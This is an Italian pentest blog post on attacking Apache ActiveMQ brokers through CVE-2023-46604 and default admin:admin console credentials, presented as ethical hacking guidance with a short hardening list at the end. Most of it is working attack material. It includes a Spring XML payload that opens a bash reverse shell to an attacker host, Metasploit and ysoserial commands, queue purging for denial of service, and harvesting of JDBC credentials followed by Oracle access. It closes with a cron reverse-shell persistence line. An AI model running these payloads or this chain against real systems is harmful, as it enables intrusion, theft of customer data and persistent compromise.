networking

Porta 61616 ActiveMQ: CVE-2023-46604 RCE Pre-Auth e Credenziali admin:admin

Porta 61616 ActiveMQ: CVE-2023-46604 RCE Pre-Auth e Credenziali admin:admin

ActiveMQ non patchato sulla 61616? CVE-2023-46604 dà shell root in 8 secondi via OpenWire. Web console con admin:admin, messaggi con credenziali JDBC e lateral movement verso Oracle.

  • Pubblicato il 2026-04-21
  • Tempo di lettura: 6 min

Apache ActiveMQ è il message broker open source più longevo dell’ecosistema Java: gestisce code di messaggi tra applicazioni enterprise, microservizi, sistemi di integrazione. La porta 61616 TCP è il protocollo OpenWire (il canale nativo per i messaggi), mentre la 8161 è la web console di management. Nel penetration testing, ActiveMQ è diventato uno dei target più ricercati dopo la pubblicazione della CVE-2023-46604 — una vulnerabilità di deserializzazione Java con CVSS 10.0 che permette RCE pre-auth. Un singolo pacchetto sulla porta 61616, senza credenziali, senza interazione utente, e hai una shell. È stata sfruttata attivamente in-the-wild da ransomware (HelloKitty, TellYouThePass) nel giro di giorni dalla disclosure.

Ma ActiveMQ non è solo la CVE del 2023: ha una lunga storia di deserializzazione Java, una web console con credenziali di default admin:admin e un’architettura che permette di leggere e manipolare i messaggi in transito — dati di business, credenziali di servizio, comandi di sistema.

Un caso recente: assessment per una compagnia assicurativa. ActiveMQ 5.15 sulla rete interna, web console con admin:admin, porta 61616 aperta. Ho lanciato l’exploit per la CVE-2023-46604 e avevo una shell in 8 secondi. Il broker gestiva i messaggi tra il sistema di quotazione polizze e il gateway di pagamento — ogni messaggio conteneva dati personali del cliente, importo e IBAN. Nessuno aveva applicato la patch nei 4 mesi dalla disclosure.

Cos’è ActiveMQ — Il Broker dei Messaggi Enterprise #

ActiveMQ implementa il protocollo JMS (Java Message Service): le applicazioni pubblicano messaggi su queue (punto-a-punto) o topic (publish-subscribe), e i consumer li ricevono. È il predecessore storico di RabbitMQ e Kafka, molto diffuso in ambienti Java enterprise — banche, assicurazioni, governi, telco.

text
Producer (app Java)       ActiveMQ Broker               Consumer (app Java)
┌──────────────┐         ┌────────────────────────┐     ┌──────────────┐
│ JMS send()   │─:61616─►│ OpenWire protocol      │     │ JMS recv()   │
│              │         │  ├── Queue: payments   ─┼──►──│              │
│              │         │  ├── Queue: orders     ─┼──►──│              │
│              │         │  └── Topic: events     ─┼──►──│              │
│              │         │                        │     │              │
│ Browser      │─:8161──►│ Web Console (Jetty)    │     │              │
│ admin:admin  │         │  REST API + management │     │              │
└──────────────┘         └────────────────────────┘     └──────────────┘
PortaProtocolloFunzione
61616OpenWireProtocollo nativo messaggi (target CVE-2023-46604)
8161HTTPWeb console management
5672AMQPProtocollo AMQP (compatibilità RabbitMQ)
61613STOMPSimple Text Oriented Messaging Protocol
1883MQTTIoT messaging

1. Enumerazione #

Nmap #

bash
nmap -sV -p 61616,8161,5672,61613,1883 10.10.10.40
text
PORT      STATE SERVICE    VERSION
8161/tcp  open  http       Jetty 9.4.39.v20210325
61616/tcp open  activemq   Apache ActiveMQ OpenWire transport

Versione esatta #

bash
# Dalla web console
curl -s http://10.10.10.40:8161/ | grep -i "version\|activemq"

# Con credenziali default
curl -s -u admin:admin http://10.10.10.40:8161/admin/ | grep -i version
text
<title>Apache ActiveMQ 5.15.15</title>

5.15.15 → vulnerabile a CVE-2023-46604 (tutte le versioni < 5.15.16 e < 5.18.3).

bash
echo "" | nc -w 3 10.10.10.40 61616

Risponde con un header binario OpenWire che contiene la versione.

2. CVE-2023-46604 — RCE Pre-Auth CVSS 10.0 #

La vulnerabilità più critica di ActiveMQ — e una delle più critiche del 2023. Una falla nella deserializzazione del tipo ExceptionResponse nel protocollo OpenWire permette a un attaccante di caricare e istanziare una classe Java arbitraria da un URL remoto. Nessuna autenticazione richiesta, nessuna interazione utente, esecuzione come utente ActiveMQ (spesso root). https://www.huntress.com/threat-library/vulnerabilities/cve-2023-46604

Versioni vulnerabili #

BranchVulnerabileFix
5.15.x< 5.15.165.15.16
5.16.x< 5.16.75.16.7
5.17.x< 5.17.65.17.6
5.18.x< 5.18.35.18.3

Exploit manuale #

bash
# 1. Crea il ClassPathXmlApplicationContext malevolo
cat > poc.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://www.springframework.org/schema/beans
  http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value>bash -i &gt;&amp; /dev/tcp/10.10.10.200/4444 0&gt;&amp;1</value>
      </list>
    </constructor-arg>
  </bean>
</beans>
EOF

# 2. Hosta il file
python3 -m http.server 8888

# 3. Lancia l'exploit (PoC Python disponibile su GitHub)
python3 exploit.py -i 10.10.10.40 -p 61616 -u http://10.10.10.200:8888/poc.xml
bash
# Listener
nc -lvnp 4444
# → shell come utente activemq (o root)

Metasploit #

bash
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 10.10.10.40
set RPORT 61616
set LHOST 10.10.10.200
set SRVHOST 10.10.10.200
run
text
[*] Started reverse TCP handler on 10.10.10.200:4444
[*] Serving XML at http://10.10.10.200:8888/poc.xml
[*] Sending exploit packet to 10.10.10.40:61616
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: root

Nuclei #

bash
nuclei -u 10.10.10.40:61616 -tags activemq

3. Web Console — Default Credentials #

La web console sulla porta 8161 usa Jetty e ha credenziali di default:

UsernamePasswordFile config
adminadminconf/jetty-realm.properties
useruserconf/jetty-realm.properties
bash
curl -s -u admin:admin http://10.10.10.40:8161/admin/

Se risponde con la dashboard → accesso completo alla management console.

Cosa puoi fare dalla web console #

Leggere messaggi dalle queue:

bash
# Lista queue
curl -s -u admin:admin http://10.10.10.40:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=*/QueueSize

# Browsare messaggi (non li rimuove dalla coda)
curl -s -u admin:admin "http://10.10.10.40:8161/admin/browse.jsp?JMSDestination=payments"

Inviare messaggi:

bash
curl -s -u admin:admin -X POST "http://10.10.10.40:8161/admin/sendMessage.jsp" \
  -d "JMSDestination=payments&JMSText=PAYLOAD&JMSTimeToLive=0"

Purge queue (DoS applicativo):

bash
curl -s -u admin:admin -X POST "http://10.10.10.40:8161/admin/purgeDestination.jsp?JMSDestination=payments&secret=SECRET_TOKEN"

4. Deserializzazione Java — Storica #

Prima della CVE-2023-46604, ActiveMQ aveva già problemi di deserializzazione:

bash
# CVE-2015-5254 — Deserialization via OpenWire
use exploit/multi/misc/java_jmx_server
# Target ActiveMQ JMX

# ysoserial via OpenWire
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" | nc 10.10.10.40 61616

5. Micro Playbook Reale #

Minuto 0-2 → Fingerprint

bash
nmap -sV -p 61616,8161 TARGET
curl -s -u admin:admin http://TARGET:8161/admin/ | grep -i version

Se versione < 5.15.16 / 5.18.3 → CVE-2023-46604 è il path diretto.

Minuto 2-5 → CVE-2023-46604 (se vulnerabile)

bash
# MSF
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS TARGET; set RPORT 61616; set LHOST ATTACKER; run

8 secondi → shell. Finito.

Minuto 5-10 → Web console (se CVE non applicabile)

bash
curl -s -u admin:admin http://TARGET:8161/admin/
# Se funziona → leggi messaggi, cerca credenziali nelle queue

Minuto 10+ → Post-exploitation

bash
# Config con credenziali
cat /opt/activemq/conf/activemq.xml | grep -iE "password|credential|jdbc"
cat /opt/activemq/conf/jetty-realm.properties

6. Caso Studio Concreto #

Settore: Compagnia assicurativa, 400 dipendenti, nord Italia.

Scope: Pentest interno, postazione utente standard.

Scansione Nmap sulla rete → porta 61616 e 8161 aperte su 10.10.10.50. Banner: ActiveMQ 5.15.15. Ho testato admin:admin sulla web console — funzionava. Ma la vera svolta è stata la CVE-2023-46604: exploit Metasploit, shell root in 8 secondi.

Il broker gestiva 4 queue attive: policy.quotes (preventivi polizze con dati anagrafici), payment.process (IBAN + importi), claims.new (denunce sinistri con dati sensibili) e system.commands (comandi interni tra microservizi). Nella queue system.commands ho trovato messaggi con connection string JDBC contenenti credenziali del database Oracle di produzione.

Tempo dalla scansione alla shell root: 8 secondi con CVE-2023-46604, 2 minuti con web console. Root cause: Patch non applicata nei 4 mesi dalla disclosure, credenziali web console di default.

7. Errori Comuni Reali Trovati nei Pentest #

1. CVE-2023-46604 non patchata (altissima frequenza nel 2024-2025) La CVE più sfruttata del 2023 in ambiente enterprise Java. Molte aziende non sapevano nemmeno di avere ActiveMQ in produzione — era un componente embedded in un sistema più grande.

2. Credenziali web console admin:admin (80%+) Il file jetty-realm.properties non viene quasi mai modificato. Le credenziali di default funzionano nella stragrande maggioranza dei casi.

3. Porta 61616 raggiungibile da tutta la rete ActiveMQ dovrebbe essere raggiungibile solo dai producer e consumer autorizzati. Invece lo trovo aperto a tutta la rete interna — e a volte esposto su Internet.

4. Messaggi con credenziali in chiaro Connection string JDBC, API key, token — i messaggi tra microservizi contengono credenziali in chiaro perché “è comunicazione interna”.

5. ActiveMQ eseguito come root Invece di un utente dedicato con permessi minimi, ActiveMQ gira come root “per evitare problemi di permessi”. La CVE-2023-46604 dà shell root immediata.

6. Nessun monitoraggio dei messaggi Nessun audit su chi legge i messaggi, nessun alert su consumer anomali. Un attaccante può leggere tutte le queue senza essere rilevato.

8. Mini Chain Offensiva Reale #

text
ActiveMQ :61616 → CVE-2023-46604 RCE → Shell Root → Config Files → JDBC Credentials → Oracle DB → Data Exfil

Step 1 — Exploit CVE-2023-46604

bash
use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
set RHOSTS 10.10.10.50; set LHOST 10.10.10.200; run
# → shell root

Step 2 — Credenziali dal config

bash
cat /opt/activemq/conf/activemq.xml | grep -A5 "dataSource\|jdbc"
# → jdbc:oracle:thin:APP_USER/AppPr0d2023!@oracle-db:1521/PROD

Step 3 — Accesso Oracle

bash
sqlplus APP_USER/AppPr0d2023!@10.10.10.60:1521/PROD
# → SELECT * FROM customers WHERE rownum < 100;

Step 4 — Persistenza

bash
# Cron reverse shell
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.200/5555 0>&1'" | crontab -

Da un broker non patchato → database Oracle di produzione → dati clienti.

9. Detection & Hardening #

  • Patch — aggiorna immediatamente a 5.15.16+ / 5.18.3+ per CVE-2023-46604
  • Cambia admin:admin — modifica conf/jetty-realm.properties
  • Non eseguire come root — crea utente activemq dedicato
  • Firewall — 61616 e 8161 raggiungibili solo da producer/consumer autorizzati
  • Disabilita la web console se non necessaria — rimuovi il connector HTTP in activemq.xml
  • TLS su OpenWire — cifra il traffico dei messaggi
  • Autenticazione su OpenWire — abilita il plugin jaasAuthenticationPlugin
  • Monitora consumer anomali e accessi alla web console

10. Mini FAQ #

La CVE-2023-46604 è davvero così grave? Sì — CVSS 10.0, pre-auth, wormable. Un singolo pacchetto TCP sulla 61616 e hai una shell. È stata usata attivamente da ransomware (HelloKitty, TellYouThePass) nel giro di giorni dalla disclosure. Se hai ActiveMQ non patchato, è game over.

Come trovo ActiveMQ se non è sulla porta standard? nmap -sV --allports target — il banner OpenWire è riconoscibile. Oppure cerca nei config applicativi: activemq.broker-url, tcp://hostname:PORT nei file .properties o .yml.

ActiveMQ e RabbitMQ sono la stessa cosa? Simili ma diversi: entrambi sono message broker, ma ActiveMQ è Java/JMS-nativo (più diffuso in ambiente enterprise Java), RabbitMQ è Erlang/AMQP-nativo (più diffuso in ambiente moderno/cloud). I vettori di attacco sono diversi — ActiveMQ soffre di deserializzazione Java, RabbitMQ ha l’Erlang cookie.

11. Cheat Sheet Finale #

AzioneComando
Nmapnmap -sV -p 61616,8161 target
Web consolecurl -u admin:admin http://target:8161/admin/
Versionecurl -u admin:admin http://target:8161/admin/ | grep version
CVE-2023-46604use exploit/multi/misc/apache_activemq_rce_cve_2023_46604
Nucleinuclei -u target:61616 -tags activemq
Browse queuecurl -u admin:admin "http://target:8161/admin/browse.jsp?JMSDestination=QUEUE"
Send msgcurl -u admin:admin -X POST "http://target:8161/admin/sendMessage.jsp" -d "..."
Configcat /opt/activemq/conf/activemq.xml
Credentialscat /opt/activemq/conf/jetty-realm.properties
Searchsploitsearchsploit activemq

Riferimento: CVE-2023-46604, Apache ActiveMQ Security, Rapid7, HackTricks. Uso esclusivo in ambienti autorizzati.

ActiveMQ non patchato è una shell root che aspetta di essere presa. Penetration test HackIta per verificare i tuoi broker. Per padroneggiare l’exploitation dei servizi Java enterprise: formazione 1:1.

#activemq #cve-2023-46604 #rce

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.